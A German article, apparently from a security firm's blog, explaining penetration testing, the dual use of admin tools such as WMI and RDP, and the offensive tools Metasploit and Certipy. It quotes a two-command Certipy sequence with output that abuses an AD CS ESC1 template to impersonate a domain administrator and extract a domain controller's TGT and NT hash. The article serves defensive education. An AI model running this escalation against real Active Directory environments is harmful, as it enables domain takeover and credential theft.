Administrator vs. Penetration Tester: auf die richtigen Werkzeuge kommt es an

Ein Penetration Test ist ein Standardmittel, um die Verwundbarkeit von IT-Systemen bzw. -Infrastrukturen zu testen und die Wirksamkeit der getroffenen Abwehrmaßnahmen zu überprüfen. Doch wie ein solcher Test funktioniert und was Penetration Tester genau tun, ist für viele unbekannt. 

Wie funktioniert ein Penetration Test?

Bei einem Pentest werden reale Hacking-Angriffe simuliert. Man arbeitet also auf der Vorgehensgrundlage und Werkzeugbasis von Cyberkriminellen. Denn erst wenn die Defensive die Vorgehensweise bzw. Strategie der Offensive kennt, kann sie sich besser auf einen Angriff vorbereiten. Wie alltäglich die Werkzeuge der Hacker sein können, wird im Folgenden vorgestellt.

Eine Angriffssimulation ist ein wirksamer Weg, Schwachstellen in der Verteidigungsstrategie aufzudecken und sie anschließend zu beseitigen. Statt einem defensivem, hat sie einen offensiven Fokus – genauso wie die echten Angreifenden. Dabei konzentrieren sich die Pentester vollkommen auf das Auffinden von Schwachstellen in der IT-Infrastruktur und gehen mit einer sehr breiten Sichtweise an einen Auftrag heran. Jede, auch die kleinste und unbedeutendste Schwachstelle, kann in Kombination mit der Umgebung oder anderen Schwachstellen, zu einem erfolgreichen Angriff führen. 

Hacker-Tools vs. Admin-Tools

Werkzeuge, die von den echten Angreifenden eingesetzt werden, sind meist nicht grundlegend bösartig und kommen ursprünglich oft aus dem administrativen Bereich oder werden sogar von Softwareherstellern selbst entwickelt. Ein gutes Beispiel dafür ist Windows Management Instrumentation (WMI). WMI wird in der Regel genutzt, „[…] um administrative Aufgaben auf Remotecomcomputern zu automatisieren […]“ (https://docs.microsoft.com/de-de/windows/win32/wmisdk/wmi-start-page). Dieses Microsoft-Werkzeug wird in allen Windows-Umgebungen automatisch mitgeliefert und ist damit ein wertvolles Tool für die Verwaltung einer Infrastruktur. Gleiches gilt zum Beispiel auch für RDP, das Remote Desktop Protocol. Wenn das Active Directory verwaltet werden muss, wird die Änderung oft per RDP auf dem Domain-Controller ausgeführt. Auch die Nutzung oder Verwaltung von Servern wird meist über RDP realisiert.

Wertvoll sind diese beiden Werkzeuge nicht nur für die Administratoren, sondern auch für diejenigen, die dem System schaden wollen, denn sie eignen sich auch zur Kompromittierung einer Infrastruktur. Mit WMI lässt sich zum Beispiel eine Persistenz auf einem System schaffen. Remote-Befehle können auf einem System ausgeführt werden und WMI ermöglicht es, sich quer im Netzwerk zu bewegen. 
Auch RDP ist für Angreifer eine einfache Möglichkeit, remote auf Server zuzugreifen. Das geschieht auf eine Art und Weise, die nicht auffällig ist, sondern in der Masse der RDP-Verbindungen untergeht. Darüber hinaus hinterlässt eine von legitimen Usern initiierte RDP-Verbindung auf den Zielsystemen die Credentials der Benutzerin oder des Benutzers. So können ihre Passwort-Hashes unter Umständen später durch einen Angriff erlangt werden.

Metasploit und Certify

Selbstverständlich sind nicht alle Werkzeuge, die Hacker üblicherweise nutzen, auch durch Administrator:innen im Einsatz. Beispiele hierfür sind Certipy und Metasploit.

Metasploit

Bei Metasploit handelt es sich um ein Exploitation Framework. Dieses Framework ist eine gemeinschaftlich gepflegte Sammlung von Codes, mit denen Schwachstellen ausgenutzt oder für einen hilfreiche Informationen von einem System erlangt werden können. Die gesamte Cyber Security Research und Penetration-Testing-Gemeinschaft trägt zur Aktualisierung dieser Sammlung bei.

Wird zum Beispiel bei einem Penetration Test oder Hacking-Angriff festgestellt, dass ein Solarwinds Produkt im Einsatz ist und dass dieses außerdem von einer bekannten Schwachstelle wie CVE-2015-2284 betroffen ist, kann unter anderem bei Metasploit nach bereits fertig verfügbaren Exploits gesucht werden.

Abbildung 1: Metasploit Suche 

Wie die Abbildung zeigt, können so mögliche Exploits identifiziert werden. In diesem Fall passt der vierte zur gerade gesuchten Schwachstelle. Hinter dieser Nummer verbirgt sich ein fast fertiger Exploit, der gegen ein System ausgeführt werden kann. Alles, was dem Penetration Tester bzw. dem Angreifenden zu tun bleibt, ist die entsprechende Konfiguration.

Abbildung 2: Metasploit Options 

Zu konfigurieren sind beispielsweise das Zielsystem oder die Payload, die angewandt werden soll. Eine Payload ist der Code, der auf dem Zielsystem ausgeführt werden soll. Eine Payload kann vordefinierte Befehle oder auch eine Reverse Shell enthalten. Eine Reverse Shell ist eine Kommandozeile auf dem Zielsystem, die Angreifende von ihren Systemen aus steuern können, um das Zielsystem zu beeinflussen. 

Certipy

Ein weiteres Tool, das vorgestellt wird, ist Certipy. Mit Hilfe von Certipy können Microsoft Active Directory Certificate Services (AD CS) angegriffen werden. AD CS stellt eine Public Key Infrastruktur (PKI) bereit und kann unter anderem für das Verschlüsseln von Dateien, digitalen Signaturen oder die Authentifizierung von Benutzerinnen und Benutzern eingesetzt werden. Obwohl dieser Service nicht in der Standard-Installation des Active Directory aktiv ist, wird er häufig im Unternehmenskontext eingesetzt. Security Researcher haben im AD CS einige Schwachstellen gefunden, welche in vielen Unternehmen genutzt werden können, um nach der initialen Kompromittierung eines Clients Domain Admin Rechte zu erlangen und so die Domain vollständig zu übernehmen.

Abbildung 3: Liste der Angriffsmöglicheiten von Certipy (<https://github.com/ly4k/Certipy>) 

Die Abbildung zeigt die mitgelieferten Angriffsoptionen, die Angreifenden zur Verfügung stehen. Wie verwundbar eine Zielumgebung ist, kann leicht in Erfahrung gebracht werden. Damit ist das Ausnutzen dieser Schwachstellen bereits weitestgehend automatisiert. Das nachfolgende Beispiel von <https://github.com/ly4k/Certipy> macht den einfachen Umgang mit diesen Techniken deutlich. Mit nur zwei Befehlen können Angreifende die eigenen Rechte von einem niedrigprivilegierten User zu einem maximal privilegierten ausweiten: Zunächst wird die als ESC1 benannte Schwachstelle ausgenutzt, um ein Zertifikat vom User Administrator@corp.local zu erlangen. Mit diesem ist eine Anmeldung auf dem Domain Controller möglich, um ein Kerberos Ticket Granting Ticket für den Computer Account des Domain Controllers abzufragen. Außerdem wird der NT Hashes desselben Benutzerkontos abgefragt. Schon mit einem dieser drei Credentials haben Angreifende Vollzugriff auf alle Objekte in der Domain.

$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local

  Certipy v4.0.0 – by Oliver Lyak (ly4k)

  [*] Requesting certificate via RPC

  [*] Successfully requested certificate

  [*] Request ID is 780

  [*] Got certificate with multiple identifications

      UPN: ‚administrator@corp.local‘

      DNS Host Name: ‚dc.corp.local‘

  [*] Certificate has no object SID

  [*] Saved certificate and private key to ‚administrator_dc.pfx‘

$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128

  Certipy v4.0.0 – by Oliver Lyak (ly4k)

  [*] Found multiple identifications in certificate

  [*] Please select one:

      [0] UPN: ‚administrator@corp.local‘

      [1] DNS Host Name: ‚dc.corp.local‘

  > 1

  [*] Using principal: dc$@corp.local

  [*] Trying to get TGT…

  [*] Got TGT

  [*] Saved credential cache to ‚dc.ccache‘

  [*] Trying to retrieve NT hash for ‚dc$‘

  [*] Got NT hash for ‚dc$@corp.local‘: 36a50f712629962b3d5a3641529187b0

Und nun?

Egal ob Hackertool oder Administrationswerkzeug – beides sind Möglichkeiten für Penetration Tester, um implementierte Sicherheitsmaßnahmen zu prüfen und potenziell zu überwinden. Die Defensive wird hier immer im Nachteil sein, da diese alle Angriffsvektoren im Blick behalten muss, wohingegen Angreifende lediglich eine einzige ausnutzbarere Sicherheitslücke benötigen. Durch einen Penetration Test wird genau dieses Vorgehen adaptiert und durch eine Angriffssimulation Schwachstellen aufgedeckt, die beseitigt werden, bevor sie in einem echten Angriff ausgenutzt werden. 

Weiterführende Informationen:

https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

https://posts.specterops.io/certified-pre-owned-d95910965cd2

https://www.thehacker.recipes/ad/movement/ad-cs

https://www.metasploit.com/

https://www.researchgate.net/publication/318710609_Penetration_Testing_and_Metasploit